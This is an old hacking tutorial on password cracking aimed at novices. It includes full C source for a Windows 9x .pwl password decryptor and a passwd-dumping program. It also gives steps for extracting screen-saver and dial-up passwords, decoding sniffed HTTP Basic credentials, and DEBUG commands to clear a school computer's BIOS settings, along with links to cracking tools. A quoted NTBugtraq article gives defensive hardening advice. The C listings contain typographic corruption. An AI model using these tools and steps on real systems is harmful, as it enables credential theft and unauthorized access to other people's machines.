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Password Cracking Decrypted

All of you would probably must have come across the term ‘password’. Ever wondered why

exactly passwords work and how to crack them? Well, this manual will answer all your queries

about passwords and make you an expert in cracking passwords.

 

Passwords: An Introduction

 

First of all, what exactly is a password.A password is best described as a verification or an

authentication tool or object. Passwords are used to ensure legal and proper access to only those

people who have the authority or the permission to view the data.A password is required in many

places,you are required a password, to access your Inbox, you are required a password to dial up

to your Internet Service Provider and in some organisations you also need to enter a password to

start the system.At all places the Username and Password pair is used to authenticate the user.

Usernames are used to identify the user and the password is used to authenticate the user and

for every unique username there is a unique password.Take the example of the Lock and Key, for

every lock you need a unique key to open it and enter.Here the Lock acts as the Username and

the password would be the key.So passwords are as important as the key of your house.

Your house remains safe as long as only you who is the rightful owner has the key and no one

else finds it.Similiarly, the concept behind passwords is that it is only the rightful owner who

knows the password and no one else knows it.Everyday we hear about password stealing,

computer break ins etc.Sometimes the user chooses very lame passwords which are easily

guessed by hackers.There are certain guidelines which I would like to tell you which you must

keep in mind while choosing a password:

 

1. Never keep your password same as your Username

2. Never choose your own name, Date of Birth, spouse’s name, pet’s name, child’s name etc as

your password, those are the first ones which are tried by a hacker.

3. Some people are so lazy that they keep their password to be ‘Enter’ (Carriage return)

4. Try to choose a word which is not in the dictionary and contains both numbers and alphabets,

and if possible use both Lower Case and Upper Case alphabets and also symbols like

(#,$,%,^ etc) as they can be cracked only be brute force password crackers which take too

long a time to crack.

 

You may say that choosing of weak passwords is responsible for the large number of hacks, but

people themselves are the weakest chain in the whole authentication process.Most people

usually use lame passwords like those I mentioned above, and those who use excellent

passwords are not able to remember them and then write the password down on a piece of paper

and stick it on their monitor.One should try his level best to remember weird passwords if he

wants to keep his system secure.The best places where you can find the passwords, would be

beneath the keyboard, behind the CPU or even on the sides of the monitor.

Some people have trouble remembering the large number of passwords that they are asked for,

while using various services, as a result they use the same password everywhere.Thus knowing

even a single password might help in some cases.

 

Password Cracking

 

The most common method of password cracking is password guessing, although it requires a lot

of luck, it can be successful sometimes.To start to guess the password, you first need to gather

all kinds of info about the victim.(See the Guidelines of keeping a password for more details.)

The most common and the most successful method of password cracking is th use of password

crackers.Now what exactly are password crackers? Now to understand what a password cracker

is and how it works, you first need to understand how a person is authenticated.

When you are creating a new account or registering or running the setup(basically whenever you

create a new account by entering the Username and Password.) you might be asked for the

Username and Password.The username is mostly stored in plaintext, but the password that you

enter is stored in an encrypted form.Now when you enter the password, it is passed through a pre

defined algoritm and is thus encrypted and is stored on the hard disk.So next time when you use

the account and enter the password, the text (password) you type is passed through the same

algorithm and is compared with the earlier stored value.If they both match, the user is

authenticated else the authentication fails.

The algorithm that is used to encrypt the password is a one way algorithm, by that I mean that if

we pass the encrypted password through the reverse algorithm, we will not get the original

plaintext password.

Lets take an example to make it more clear: Say your plaintext password is xyz123 and it is

passed through an algorithm and stored in the a file as 0101027AF. Now if you get his encrypted

password and know the algorithm which xyz123 is passed through to get 0101027AF, you cannot

reverse the algorithm to get xyz123 from 0101027AF.

When you are typing in your password, the computer does not display it in plaintext but instead

shows only stars i.e. ******** so that if someone is shoulder surfing, he cannot find out the

password.The text box has been programmed in such a way.On most forms Unix you will not

even see the asterix marks and the cursor will not move, so that neither does a person shoulder

surfing, find out the password nor does he find out the length of the password.

 

Password Crackers are of two types-: Brute Force and Dictionary Based.

Dictionary Based password Crackers try out all passwords from a given pre defined dictionary list

to crack a password.These are faster but more often than not are unsuccessful and do not return

the password.As they do not try out all combinations of possible keys, they are unable to crack

those passwords which have symbols or numbers in between.

Brute Force Password Crackers try out all combinations of all keys which can be found in the

keyboard (i.e. Symbols, Numbers, Alphabets) both Lower Case and Upper Case.These kinds of

Password Crackers have a greater success rate but take a long time to crack the password.As

they take all possible keys into consideration, they are more effective.

Now that you know the two main types of password crackers lets see how they work.

As passwords are encrypted by a one way algorithm, password crackers do not extract the

password from the file but instead take the combination of letters, encrypt them by passing the

characters through the original algorithm and compare this value with the stored encrypted

value.If these two match, then the password cracker displays the password in plaintext.

 

Cracking The Windows Login Password

 

The Windows ( 9x) password is passed through a very weak algorithm and is quite easy to crack.

Windows stores this login password in *.pwl files in the c:\windows directory.The .pwl files have

the filename which is the username coresponding to the password stored by it.A typical .pwl file

would be as follows:

Note: This .pwl file has been taken from a Win98 machine running IE 5.0

 

###############CUT HERE##############

 

ã‚…–

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ

ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿR

 

p u.ÐX+|rÐq”±/2³ Êå¡hCJ‚D × `ÍY¥!íx}(qW¤ãƱ<!?àÜ6šá˜ôæ

4+\¾õ+%E°ËÔýmÇÔ ÞI»‚ B àלøÐ…’@

 

############CUT HERE#############

 

Lets go through the contents of this .pwl file.I am not sure what the first line signifies, but my

guess would be that it is the Name to which the computer is registered to.The next four lines have

just been entered by Windows and are not readable.The last two lines is the password but in the

encrypted form.There is no way to get the plaintext password by just studying the Windows

algorithm and these lines.To actually crack the password you need a simple but kewl cracker

coded in C called Glide.I have included the code below.If you have a sound C knowledge you can

study the code and actually experience how a password cracker works and how a password is

encrypted in Windows i.e. more about the Windows encryption algorithm.

 

*********************

Newbie Tip: All exploits, crackers, mail bombers practically everything related with Hacking has

been written in either Perl or C. If you really want to be considered an elitte hacker, you have to

know how to program, without a sound knowledge of either C (C++) or Perl you cannot hack

successfully.Almost all exploits available on the net have an important part edited or missing,

without which it has no use.Some exploits may be needed to be edited in order to be run in your

platform.In order to do all this programming is needed.

********************

 

 

#include <stdio.h>

#include <string.h>

#include <process.h>

#include <stdlib.h>

#include <ctype.h>

#include <conio.h>

 

unsigned char huge Data[100001];

unsigned char keystream[1001];

int Rpoint[300];

 

void main (int argc,char *argv[]) {

FILE *fd;

int i,j,k;

int size;

char ch;

char *name;

int cracked;

int sizemask;

int maxr;

int rsz;

int pos;

int Rall[300]; /* recource allocation table */

 

 

if (argc<2) {

printf(“usage: glide filename (username)”);

exit(1);

}

 

/* read PWL file */

 

fd=fopen(argv[1],”rb”);

if(fd==NULL) {

printf(“can’t open file %s”,argv[1]);

exit(1);

}

size=0;

while(!feof(fd)) {

Data[size++]=fgetc(fd);

}

size–;

fclose(fd);

 

/* find username */

name=argv[1];

if(argc>2) name=argv[2];

printf(“Username: %s\n”,name);

 

/* copy encrypted text into keystream */

cracked=size-0x0208;

if(cracked<0) cracked=0;

if(cracked>1000) cracked=1000;

memcpy(keystream,Data+0x208,cracked );

 

/* generate 20 bytes of keystream */

for(i=0;i<20;i++) {

ch=toupper(name[i]);

if(ch==0) break;

if(ch==’.’) break;

keystream[i]^=ch;

};

cracked=20;

 

 

/* find allocated recources */

 

sizemask=keystream[0]+(keystream[1]<<8);

printf(“Sizemask: %04X\n”,sizemask);

 

for(i=0;i<256;i++) Rall[i]=0;

 

maxr=0;

for(i=0x108;i<0x208;i++) {

if(Data[i]!=0xff) {

Rall[Data[i]]++;

if (Data[i]>maxr) maxr=Data[i];

}

}

maxr=(((maxr/16)+1)*16); /* recource pointer table size appears to be divisable by

16 */

 

/* search after recources */

 

Rpoint[0]=0x0208+2*maxr+20+2; /* first recource */

for(i=0;i<maxr;i++) {

/* find size of current recource */

pos=Rpoint[i];

rsz=Data[pos]+(Data[pos+1]<<8);

rsz^=sizemask;

printf(“Analyzing block with size: %04x\t(%d:%d)\n”,rsz,i,Rall[i]);

if( (Rall[i]==0) && (rsz!=0) ) {

printf(“unused resource has nonzero size !!!\n”);

printf(“If last line produced any : You may try to recover\n”);

printf(“press y to attempt recovery\n”);

ch=getch();

if(ch!=’y’) exit(0);

rsz=2;

i-=1;

}

 

pos+=rsz;

 

/* Resources have a tendency to have the wrong size for some reason */

/* check for correct size */

 

if(i<maxr-1) {

while(Data[pos+3]!=keystream[1]) {

printf(“:”,Data[pos+3]);

pos+=2; /* very rude may fail */

}

}

 

pos+=2; /* include pointer in size */

Rpoint[i+1]=pos;

}

Rpoint[maxr]=size;

 

/* insert Table data into keystream */

for(i=0;i <= maxr;i++) {

keystream[20+2*i]^=Rpoint[i] & 0x00ff;

keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;

}

cracked+=maxr*2+2;

 

printf(“%d bytes of keystream recovered\n”,cracked);

 

/* decrypt resources */

for(i=0;i < maxr;i++) {

rsz=Rpoint[i+1]-Rpoint[i];

if (rsz>cracked) rsz=cracked;

printf(“Recource[%d] (%d)\n”,i,rsz);

for(j=0;j<rsz;j++) printf(“%c”,Data[Rpoint[i]+j]^keystream[j]);

printf(“\n”);

}

 

 

exit(0);

}

 

 

Windows Screen Saver Password

 

This is an interesting hack and not many people know about it.This requires no canned hacking

tool, we will crack the password manually!!! First of all, why do we need to crack the Windows

Screen Saver? How does it restrict us? If a Screen Saver is password protected, then whenever it

is turned on, then in order to turn it off, you need to enter a password.It does not allow us to do

anything on a system until and unless we enter the password. We will keep seeing the screen

saver until we authenticate ourselves by entering the password.No not even CTRL+ALT+DEL

works in this case. Windows stores the Screen Saver password in the user.dat file in the

Windows directory.If you have multiple profiles on your system then it is stored in the user.dat file

in the c:\windows\profiles\username directory.(On Win 3x systems it is stored in the control.ini file

The user.dat file constitues the registry of the Windows system, thus we can say that the

Windows Screen Saver Password is stored in the registry.

First of all, you need to change the attributes of this file and make it editable by right clicking on it

and unselecting the Read Only Option else you will not be able to edit it.

Once this is done, open this file in WordPad (Any text editor will do except MS WORD And

Notepad.)Now look for the string: ScreenSave_Data

You will find an even number of characters after Data, this is the Screen Saver Password

encrypted and stored in the hex system.Each pair or hex values represent a single ASCII

plaintext character.This means that if there are 10 hex values then the password is of 5

characters, each pair of Hex values standing for a single plaintext ASCII character.So in order to

get the Plaintext password you just need to decrypt these hex values into ASCII.

 

Internet Dial Up Password

 

Have you ever wondered where Windows stores the Internet Connection Password when you

have enabled the ‘Save Password’ option in the ‘Connect To’ dialog box of the dial up connection.

Well this password is stored in the registry in the following registry key:

 

HKEY_CURRENT_USER\RemoteAccess\Profile\<connection name>

 

If you view the above key in the registry Editor then it probably will not appear understandable. If

you want to be able to understand the contents of this key and hence be able to edit this key,then

you will have to export this particular key and view it in Notepad.The password is stored in stored

as binary values and has to be converted into plantext ASCII before you are able to read it.

 

Windows NT Password

 

You have already seen how lame Windows 9x password encrypting algorithm is and how easy it

is to overide the Windows Login Password prompt in Win9x systems, well NT is a different

story.First of all lets see how the password is stored in NT….firstly the password is not encrypted,

it is hashed using the RSA hash function and then this hashed version is passed through am

algorithm to obscure it, once onscured,it is stored in the NT registry.Alongwith a stonger

password storing tecnique it all ships with various utilities which make it more secure….Service

Pack 2 ships with a dll which allows the system adminstrators to ensure that the Passwords used

by the users are strong or good enough.The User Manager can be configured to ensure that the

user passwords satisfy a particular condition, For example, it can check if the Users are using a

password of minimum length.

If you really want to learn all about NT security, you should read the NTBugtraq archives and join

their mailing list.The NTBugtraq Archive is the most comprehensive and exaustive collection of

NT Security info.Visit them at www.ntbugtraq.com

The site has everything that you would want to know about NT including the algorithm used to

obscure the hased password.There are various ways of getting administrator previledges in NT, I

am not mentioning all of them but have mentioned my favourite….Sam Attacks.If you want to

learn about all the ways of breaking into NT, then I recommend you to read the BugTraq

Arvhives.I would also be writing a Manual on Hacking NT quite Soon.

__________________________

Sam Attacks

 

The following article has been taken from the Bugtraq Archive.

Written by Russ Cooper – 7/22/1998 10:57:34 AM

 

In the interest of avoiding confusion, I have corrected some mis-use of encryption terminology in

the document. In addition, some additions have been made to both recommendations. Future

updates will be kept on http://ntbugtraq.ntadvice.com/default.asp?sid=1&pid=47&aid=15 and the

list will only be notified in the event of major changes.

 

 

Recently, the algorithm for reversing the obfuscation (obscuring) step of hashing an NT user ID’s

password was published. This has resulted in a great deal of discussion over the relative security

of Windows NT systems. This article intends on providing you, the NT Administrator, with

sufficient information and understanding to ensure you are able to DETECT an attempt to exploit

your systems using this algorithm.

 

Q: What’s this all about?

 

A: When a password is stored on Windows NT, it is stored in hashed [not encrypted] form. The

clear-text password is first hashed using the RSA MD4 hash function, it is then obscured again

using an algorithm (which has now been published). Once obscured, it is stored within the NT

registry. The hashed MD4 version of the password (generally accepted as not reversible to clear-

text) can be used to create a valid challenge response for its user ID. Therefore, should access to

this value be obtained, it would be possible to connect to an NT resource authenticating as that

user ID despite not having the clear-text password for that user. Since the method of removing

the obfuscation step has now been published, and since its possible to view the keys which store

the hashed passwords, its possible that this could be done.

 

Q: But someone must compromise the Administrator accout first, right?

 

A: Yes, but…as Les Landau quickly pointed out, the entire Security Access Manager (SAM)

database is backed up whenever the Emergency Repair Disk (ERD) is updated. Since updating

the ERD is good practice, its likely that your SAM has been backed up. By default, the backed up

SAM is stored in the file %systemroot%\repair\sam._ , and this directory, by default, allows the

group EVERYONE read access. It would be possible to retrieve the hashed passwords from this

file rather than from the live registry. The live registry requires Administrator, Administrator Group,

or Backup Operator priviledge in order to access the password keys. The backed up SAM in the

\repair directory does not. It is considered good practice to not give unrestricted access to the root

directory of your %systemroot% drive, as a precaution against having your system files

manipulated. By default these directories are not available over the network by anyone other than

the Administrator, members of the Administrators group, or the Backup Operator, so this only

becomes a risk if you allow other users access either by allowing them to log on at the machine

itself (log on locally) or by you creating a share at the root of your system drive granting others

permission. Neither of these scenarios are recommended in the interest of security. See

Recommendation #1 below for details on how to secure this file.

 

Q: Ok, so once I’ve protected the SAM._ file, then the only other way my machine can be

exploited is by fooling the Administrator, right?

 

A: The Administrator, members of the Administrators Group, the Backup Operator, and anyone

who has been granted the privilege to backup and restore files, all have the ability to access this

information. Furthermore, anyone who can start the Scheduler Service also has the ability to view

these entries (this will be explained in detail below). It should be noted, however, that nobody

other than the Administrator or members of the Administrators group has the ability to submit a

Schedule job. While it is possible for an Administrator to grant this ability to the Server Operators

group, this is strongly discouraged. Finally, despite the amount of discussion that has been held

on the topic, there is still a community of people who do not appreciate the threat of the Trojan

program. Fooling the Administrator is becoming easier as the web interface technology evolves.

Double-clicking may not be necessary to execute an application, and its possible for some

applications to launch themselves if reckless acceptance of Authenticode certificates has taken

place. Administrators may be logging into user’s workstations, and if that workstation has not had

security controls in place, it’s possible that the owner has put programs in the “All Users” Startup

group, thereby making them execute as the Administrator when he/she logs on to the

workstation.

 

As Microsoft have already said, it cannot be emphasized enough that the use of the Administrator

user ID should be strictly controlled and minimized in every way possible. So to the Backup

Operator account. Users who have been made members of the Administrators group should

similarily be tightly controlled. The most common reason for these types of permissions is a lack

of effort to properly configure user IDs which can access the necessary resources as something

other than members of the Administrators group. As these accounts have virtually limitless

abilties (since that is their purpose and design), their use must be controlled.

 

Q: Ok, but what if I want to have users of the Administrators group be able to use those

accounts for their everyday work?

 

A: Obviously this is a common situation in NT environments today. You should change it. If you

are willing to accept the risks that are associated with having such powerful accounts using

untrusted programs, you can rely on auditing to alert you to attempts to exploit your systems.

Unfortunately, due to your acceptance of the risks, you may not be able to prevent the exploits,

but you will be able to find out that they have taken place. Auditing, by default, is not turned on in

Windows NT. In order to record security events as they occur, you have to enable it. Below you

will find detailed instructions on how to establish security auditing, and in particular, how to audit

access to the sensitive areas containing the passwords. However, just auditing is not enough.

Once enabled, you also have to review the event logs regularily and be able to understand what

those events mean. In addition, it should be understood that audit events are recorded on the

machine at which they occur, they are not distributed throughout a domain. So if you have a

Backup Domain Controller in Toronto, and your Primary Domain Controller is in Lindsay, you will

need to collect the event logs from both locations and review them to determine if your passwords

have been violated. Either of these machines could be attacked and pose an equal risk, but only

the machine which is attacked will record the security audit event. There are a variety of

programs available for NT which can do event monitoring, collection, and alert notification. If you

are seriously interested in such a tool, contact me privately and I’ll give you a list of currently

available products. Unfortunately none of them are inexpensive, but their costs pale in

comparison to the cost of trying to do this event work in a large scale environment manually.

 

 

RECOMMENDATION #1 – How to secure the %systemroot%\repair\sam._ file

 

By default, the SAM._ file and \repair directory has the following permissions;

 

Administrators: Full Control

Everyone: Read

SYSTEM: Full Control

Power Users: Change

1. From within Explorer, highlight the SAM._ file, right click, choose properties, security,

permissions. Remove all privilege from this file.

 

 

2. From a DOS prompt, execute the following;

 

cacls %systemroot%\repair\sam._ /D Everyone

 

This will deny the group Everyone permission to the file, ensuring that no other

permission (i.e. inheritted permissions from a share) can override the file permission.

 

 

3. Whenever you need to update your ERD, first execute the following from a DOS prompt;

 

cacls %systemroot%\repair\sam._ /T /G Administrators:C

 

This will grant Administrators change permission to update it during the ERD update.

 

 

4. Once the ERD has been updated, execute the following from a DOS prompt;

 

cacls %systemroot%\repair\sam._ /E /R Administrators

 

This will once again remove the permissions for Administrator.

 

 

RECOMMENDATION #2 – How to enable auditing on password registry keys

1. First you have to make sure auditing is enabled. Start User Manager, Policies, Audit, and

click “Audit These Events”.

 

 

2. By default, Windows NT does not identify any users or groups to audit on any objects

within the system. Auditing can add performance overhead to your system depending on

the available resources, so care should be taken in determining what and whom to audit.

For a full description of auditing in Windows NT, I recommend the Microsoft Press book

“Windows NT 3.5 – Guidelines for Security, Audit, and Control”, ISBN 1-55615-814-9.

Despite its title it is still the most comprehensive coverage of auditing that I have read.

For the sake of this example, we will simply check every Success and Failure checkbox.

 

 

3. Close the dialog.

 

 

4. Now for a little known trick. While logged on as Administrator, ensure that the Schedule

service is set to start up as the System account. Once set, start the Schedule service.

 

 

5. Check the time, and then open a DOS prompt. At the DOS prompt, type in the following;

at 22:48 /interactive “regedt32.exe” where 22:48 gets replaced with the current time plus

1 minute (or 2 or whatever amount of time you think it will take you to type in the

command).

 

 

6. At the designated time, regedt32.exe will fire up and appear on your desktop. This

incarnation of regedt32.exe will be running in the security context of the user SYSTEM.

As such, you will be able to see the entire registry, every key within the SAM or Security

trees. BE VERY CAREFUL HERE. It is important to note that when running an applicatin

as SYSTEM, it does so attempting to use null session for credentials. Null session

support has been disabled by default in all versions of Windows NT after 3.1, therefore

any attempt to connect to non-local resources as this security context will fail. An

Administrator could enable null session support through the registry, but such a

configuration is strongly discouraged.

 

 

7. All we want to do is enable auditing on the designated keys, nothing else. To this end, we

highlight the HKEY_LOCAL_MACHINE windows within regedt32. Next highlight the SAM

tree. Choose the Security menu item, then Auditing.

 

 

8. Click on the Add button and choose Show Users.

 

 

9. I’m going to recommend that you add the SYSTEM user, the group Domain Admins, and

the user Administrator. You want to cover any account which has the right to;

“Take ownership of files or other objects”

“Back up files and directories”

“Manage auditing and security log”

“Restore files and directories”

“Add workstations to domain”

“Replace a process level token”

 

 

10. Click the Audit Permission on Existing Subkeys

 

 

11. Next, click in the Success and Failure checkboxes for the following entries;

– Query Value

– Set Value

– Write DAC

– Read Control

 

 

12. Choose OK, and then Yes.

 

 

13. Repeat the process for the Security tree.

 

 

14. Close REGEDT32, and stop the Schedule service. You will want to set the Schedule

service to use a userID for startup which you create, rather than SYSTEM, in future. Take

this opportunity to create such a user and change the startup for Schedule.

 

You will now have applied auditing to the entire SAM ensuring you’ll be notified via the Event

Logger of any failed or successful access to your sensitive information by the only accounts

which have the ability to access such information. The issue of what to do when/if you discover

event notifications is beyond the scope of this document. Part of a good security policy is an

appropriate audit policy which would dictate how the event logs are reviewed, how the information

is verified, and what actions should be taken for each possible event. Refer to the book I’ve

recommended above for information on how to establish such a policy, or contact a consultant

capable of defining and implementing such a policy within your organization (not me, my plate’s

full thanks).

______________________________________

 

L0phtCrack is a NT password cracker which can get NT passwords using both dictionary based

and brute force attacks.It can also be run on lower priority so that it can work in the background,

while NT is running.

 

 

Cracking Unix Password Files

 

Unix is considered to be the most secure OS.The method used to store passwords is definitely

more safe and secure in Unix systems.In most Unix systems you will find that the passwords are

stored in file called ‘passwd’ which is located at /etc/passwd.The password file has many lines of

the following basic structure:

 

ankit:RqX6dqOZsf4BI:2:3:Ankit Fadia:/home/ankit:/bin/bash

 

The above line can be broken and arraged as follows:

 

Username: ankit

Encrypted Password: RqX6dqOZsf4BI

User number: 2

Group Number: 3

Actual Name: Ankit Fadia

Home Directory: /home/ankit

Type of Shell: /bin/bash

 

As the encryption algorithm is one way you cannot decrypt the password but need to use a

password cracker which will crack the password for you.

The example line of the passwd file that I gave was a line taken from a unshadowed password

file.Now sometimes you may find that instead of the above line you may find something like the

below:

 

ankit:*:2:3:Ankit Fadia:/home/ankit:/bin/bash

 

The above line has been taken from a shadowed password file.In a shadowed password file what

happens is that the password field is replaced by a ‘ * ‘ (The ‘ * ‘ is called a token.)such that the

encrypted password does not show up in the password file and the list of encrypted passwords is

stored in a different file which is not readable by normal users.

 

***************

Hacking Tip: The ‘ * ‘ that replaces the passwords in shadowed password files is called a token

and on some systems it is also ‘ $ ‘ or ‘ # ‘ or even same as the Username.

***************

So first of all to start cracking the password file you need to unshadow the passwords.You can

unshadow the passwords by running the following C program that I picked up somewhere.

 

struct SHADOWPW { /* see getpwent(3) */ char *pw_name;

char *pw_passwd;

int pw_uid;

 

int pw_gid;

int pw_quota;

 

char *pw_comment;

 

char *pw_gecos;

char *pw_dir;

char *pw_shell;

};

struct passwd *getpwent(), *getpwuid(), *getpwnam();

#ifdef elxsis?

 

/* Name of the shadow password file. Contains password and aging info *

 

#define SHADOWPW “/etc/shadowpw”

#define SHADOWPW_PAG “/etc/shadowpw.pag”

#define SHADOWPW_DIR “/etc/shadowpw.dir”

/*

* Shadow password file pwd->pw_gecos field contains:

*

* <type>,<period>,<last_time>,<old_time>,<old_password>

*

* <type> = Type of password criteria to enforce (type int).

* BSD_CRIT (0), normal BSD.

* STR_CRIT (1), strong passwords.

* <period> = Password aging period (type long).

* 0, no aging.

* else, number of seconds in aging period.

* <last_time> = Time (seconds from epoch) of the last password

* change (type long).

* 0, never changed.n

* <old_time> = Time (seconds from epoch) that the current password

* was made the <old_password> (type long).

* 0, never changed.ewromsinm

* <old_password> = Password (encrypted) saved for an aging <period> t

* prevent reuse during that period (type char [20]).

* “*******”, no <old_password>.

*/

 

/* number of tries to change an aged password */

 

#define CHANGE_TRIES 3

 

/* program to execute to change passwords */

 

#define PASSWD_PROG “/bin/passwd”

 

/* Name of the password aging exempt user names and max number of entir

 

#define EXEMPTPW “/etc/exemptpw”

#define MAX_EXEMPT 100

 

 

/* Password criteria to enforce */

 

#define BSD_CRIT 0 /* Normal BSD password criteria */

#define STR_CRIT 1 /* Strong password criteria */

#define MAX_CRIT 1

#endif elxsi

#define NULL 0

main()

{

struct passwd *p;

int i;

for (;1;) {;

p=getpwent();

if (p==NULL) return;

printpw(p);

}

}

 

printpw(a)

struct SHADOWPW *a;

{

 

printf(“%s:%s:%d:%d:%s:%s:%s\n”,

a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,

a->pw_gecos,a->pw_dir,a->pw_shell);

}

 

Now once the password file has been unshadowed you can use either Jack The Ripper or

Cracker Jack to crack the passwords.Cracker Jack is a DOS based Unix password file cracker

which can perform only dictionary based cracking.Do make sure that the password file that you

are trying to crack is unshadowed as these crackers cannot crack shadowed password files.

You also need an exaustive Dictionary List or a Wordlist.The more comprehensive the wordlist

the more is your chance to be able to crack the password file.You can get both these crackers

from a lot of places:

 

http://astalavista.box.sk

http://www.anticode.com

http://www.hackersclub.com

 

********************

Hacking Tip: Want to find out where the password file is stred in your version of Unix?

Well to find out your Unix Version type the following command:

uname -a

 

The following are the paths where Password files are stored in various Unix versions:

 

UNIX Paths (Courtesy of 2600)

 

UNIX Path Token

—————————————————————————-

AIX 3 /etc/security/passwd !

or /tcb/auth/files/<first letter #

of username>/<username>

A/UX 3.0s /tcb/files/auth/?/*

BSD4.3-Reno /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd[.dir|.pag] *

SCO Unix #.2.x /tcb/auth/files/<first letter *

of username>/<username>

SunOS4.1+c2 /etc/security/passwd.adjunct ##username

SunOS 5.0 /etc/shadow

<optional NIS+ private secure maps/tables/whatever

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] *

UNICOS /etc/udb *

 

***************************

 

I have explained to you how to crack a Unix password file, but the most difficult part is getting the

Unix Password file.You first need to find a hole in the services running at various ports of the

host. There are many C program that you may find on the net which will promise to get you root

or to get you out of the restricted shell etc. But I assure you that almost all of these ready made C

programs have a tiny little part either missing or edited. A huge Sendmail Exploit that was

publised on the web had the most important line commented and hence the exploit did not work.

I again emphasize the need to learn to program.Programming is very very important not only in

debuging already found exploits but also to discover new holes in popular daemons.To find a hole

say in Sendmail you need to go through the it’s code over and over again and look for that tiny bit

that is exploitable.So the bottomline is that one must know how to program to do anything in

Hacking.

 

HTTP Basic Authentication

 

The most common methods of authentication used by web sites are either CGI Based or

JavaScript based.Another type of authentication which is slowly becoming popular is the HTTP

Basic authentication.

You must have almost certainly come across password protected websites which pop up a dialog

box with the title $$$$$$$$$ and something like the following text:

 

UserName and Password Required

Enter Username and Password for server.name.here

Username:

Password:

 

The HTTP Basic Authentication works same on all servers and is now becoming commonly used

for protecting data from the general public.This kind of Authentication does not provide much of

security and can be easily exploited to return the password.But anyhow I will mention how to

setup a server so that it uses HTTP Basic Authentication.

Note: I am running Apache and the method to do the same on other platforms may vary.

Contact the company for more info on how to setup your server to use HTTP Authentication.

First of all create the password file by typing the htpasswd command:

 

$>htpasswd -c /etc/httpd/conf/passwords

 

Once the password file has been created we need to add the users to this password file.For that

use the following command:

 

$>htpasswd /etc/httpd/conf/passwords ankit.fadia

 

Then you will be prompted to enter the password for the user twice.Once you have completed

this process,the Username and Password will be stored in the /etc/httpd/conf/passwords file in

the following structure or format:

 

ankit.fadia:ryWT.SmffRa7pf

 

The first two fields are obviously the Username and the last two fields is the password encrypted

by the DES algorithm.This file is world readble, by that I mean to say that the file can be read by

anyone.So if possible disable the FTP and Telnet ports of the Server using HTTP Basic

Authentication.Although it will not make much of a difference as this kind of Authentication can

easily be hacked, but it always makes sense to be on the safer side and make work difficult for a

hacker.

Now that the password file is ready we need to configure the /etc/httpd/conf/srm.conf file to tell

the server where the password file is and what kind of banner should it show when the user

needs to be authenticated.

So edit the /etc/httpd/conf/srm.conf file and enter the following lines:

 

<Directory /home/httpd/www.servername.com/subfolder>

AuthType Basic

AuthName server.name.here

AuthUserFile /etc/httpd/conf/passwords

require valid-user

</Directory>

 

The directory tag is which folder or directory requires a password.Thus when the user tries to

access the mentioned directory the HTTP Password prompt appears.The AuthType specifies the

type of authentication.The AuthName gives the name to the banner that is popped up by the

browser.the AuthUserFile specifies the path of the password file.The require tag can be

configured such even is a Username is part of the password file, he will not be authenticated

unless and until he is withing the require tag.For Example,

 

require ankit.fadia ankit

 

If the above line is there in the srm.conf file then no one other than ankit and ankit fadia will be

authenticated.

 

Cracking such HTTP Basic Authentication passwords differs from server to server.It also depends

on how the system administrator has configured this service.First of all, to find out if the server is

actually running HTTP Authentication service, you need to type in the wrong password and if you

get the 401 Error, then you can be pretty sure of it.To hack the HTTP passwords, you need to get

the sniffer logs, it would contain what a request would look like if we were able to request the

page.It would be something like the following:

 

GET /pagehere HTTP/1.1

Authorization: Basic rTyna2yrqw2ADGHsghis==

 

The text after Basic is the password.No…it is not encrypted, but is just Base64 encoding.You

can easily decode it in Perl using the MIME::Base64 module, the code would be as follows:

 

use MIME::Base64;

print decode_base64(“rTyna2yrqw2ADGHsghis ==”);

 

You can get the MIME::Base64 Module from www.cpan.com .After it has be decoded, you will

see something like the following: “ankit.fadia:passwordhere”

The first two fields would be my username and the last field is my password is plaintext.

 

BIOS Passwords

 

This is a password hack but is just clears the BIOS such that the next time you start the PC the

CMOS does not ask for any passwordSay at school the floppy drive has been disabled and you

want to do your project at home and copy it to the floppy drive and use this floppy to transfer it to

the school computer.What do you do.

In most cases the BIOS is configured to disable the Floppy Drive. Now if you are able to bring the

DOS prompt in school the you will be able to change the BIOS setting to the default and enable

the floppy drive which is the default setting. In DOS there is the debug command which allows us

to do.To clear the CMOS do the following:

Got DOS and type:

DEBUG hit enter

-o 70 2e hit enter

-o 71 ff hit enter

-q hit enter

exit hit enter

Restart the computer

It works on most versions of the AWARD BIOS.

 

Cracking Other Passwords

 

Password protected Zipped files can be cracked with FZC, for more info read the following

tutorial:

Using FZC to Crack Password-Protected Zip Files – an easy guide to using FZC to crack those

annoying password-protected zip files at http://blacksun.box.sk/fzc.html

You can easily remove Excel and Word passwords by running a evil macro, get the macro at:

http://www.crosswinds.net/~hackingtruths/manuals.htm

This Macro has been written for Excel and can esily be edited to crack Word Passwords too,

once just needs to know a bit of VB.There is also a software known as Advanced office 97

Password Recovery, but that is sharewar and you need to pay for it.

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